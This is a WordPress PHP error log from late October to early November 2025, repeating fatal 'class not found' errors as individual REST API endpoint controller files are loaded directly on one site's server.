[29-Oct-2025 13:31:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[29-Oct-2025 13:32:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[29-Oct-2025 13:33:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[29-Oct-2025 13:34:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[29-Oct-2025 13:35:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[29-Oct-2025 13:37:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[29-Oct-2025 13:38:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[29-Oct-2025 13:39:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[29-Oct-2025 13:40:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[29-Oct-2025 13:41:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[30-Oct-2025 01:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[30-Oct-2025 01:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[30-Oct-2025 01:10:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[30-Oct-2025 01:10:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[30-Oct-2025 01:10:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[30-Oct-2025 01:10:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[30-Oct-2025 01:10:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[30-Oct-2025 01:10:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[30-Oct-2025 01:10:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[30-Oct-2025 01:10:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[30-Oct-2025 01:11:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[30-Oct-2025 01:11:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[30-Oct-2025 01:17:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[30-Oct-2025 01:17:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[30-Oct-2025 01:17:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[30-Oct-2025 03:30:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[30-Oct-2025 03:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[30-Oct-2025 03:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[30-Oct-2025 03:30:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[30-Oct-2025 03:30:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[30-Oct-2025 03:31:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[30-Oct-2025 03:31:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[30-Oct-2025 03:31:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[30-Oct-2025 03:31:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[30-Oct-2025 03:31:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[30-Oct-2025 03:31:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[30-Oct-2025 03:34:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[30-Oct-2025 03:40:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[30-Oct-2025 03:40:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[30-Oct-2025 03:40:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[30-Oct-2025 03:40:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[30-Oct-2025 03:40:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[30-Oct-2025 03:40:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[30-Oct-2025 03:41:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[30-Oct-2025 03:41:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[30-Oct-2025 03:42:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[30-Oct-2025 03:43:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[30-Oct-2025 03:46:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[30-Oct-2025 03:47:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[30-Oct-2025 05:59:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[01-Nov-2025 10:24:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[01-Nov-2025 10:24:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[01-Nov-2025 10:24:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[01-Nov-2025 10:24:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[01-Nov-2025 10:42:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[01-Nov-2025 10:53:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[01-Nov-2025 10:55:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[01-Nov-2025 10:58:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[01-Nov-2025 10:59:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[01-Nov-2025 11:01:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[01-Nov-2025 11:02:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[01-Nov-2025 12:24:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[01-Nov-2025 12:36:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[01-Nov-2025 12:43:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[01-Nov-2025 12:44:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[01-Nov-2025 12:48:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[01-Nov-2025 12:50:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[01-Nov-2025 12:53:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[01-Nov-2025 13:22:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[01-Nov-2025 13:22:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[01-Nov-2025 13:26:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[01-Nov-2025 13:31:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
